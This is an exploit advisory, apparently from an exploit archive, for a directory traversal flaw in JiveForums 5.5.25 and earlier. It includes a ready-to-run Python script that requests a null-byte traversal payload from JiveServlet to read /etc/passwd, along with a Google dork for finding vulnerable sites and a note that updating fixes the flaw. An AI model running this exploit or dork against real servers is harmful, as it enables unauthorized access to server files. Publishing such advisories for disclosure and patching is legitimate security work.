Jive Forums 5.5.25 - Directory Traversal

'''
JiveForums <=5.5.25 Directory Traversal Vulnerability
 
Description
==========
Jive forums is a widely recognized network community. Its products have been used by global IT giants including IBM, HP, Oracle, Adobe, Cisco, Intel, Amazon, Emc, Mcafee, Rapid7, Fireeye, etc.
The version of JiveForums <=5.5.25 and < 4.0 are vulnerable to a directory traversal security issue, other versions may also be affected.
 
Details
=======
Product: JiveSoftware
Security-Risk: high
Remote-Exploit: yes
Vendor-URL: https://www.jivesoftware.com
 
Credits
============
Discovered by: Zhaohuan of Tencent Security
Site: http://security.tencent.com
 
Affected Products:
=================
Test on  JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
maybe work <= 5.5.25
 
Exploit:
============
'''
 
#!/usr/bin/python
# Author: Zhaohuan || http://weibo.com/hackyou
# Google Dork: inurl:servlet/JiveServlet
# Tested on JiveForums 5.5.25/5.5.20/5.5.7/3.2.10/2.6.2
#
# Software Link: https://www.jivesoftware.com
 
import urllib2
import sys
 
print "JiveForums <=5.5.25 Directory Traversal Exploit"
 
if len(sys.argv) != 3:
    print "[-] Trying exploit on : <site> <path>"
    print "[*] Usage: %s http://localhost /jiveforums/" % sys.argv[0]
    sys.exit()
 
payload = 'servlet/JiveServlet?attachImage=true&attachment=/.././.././.././.././.././.././.././../etc/./passwd%00&contentType=image%2Fpjpeg'
print "[+] Trying to request :"+sys.argv[1]+sys.argv[2]+payload
response=urllib2.urlopen(sys.argv[1]+sys.argv[2]+payload)
readvul=response.read()
print readvul
 
 
'''
Solution:
============
Update to jiveforums 5.5.30 or the latest version.
 
More Information:
https://www.jivesoftware.com/services-support/
'''

#  0day.today [2018-01-01]  #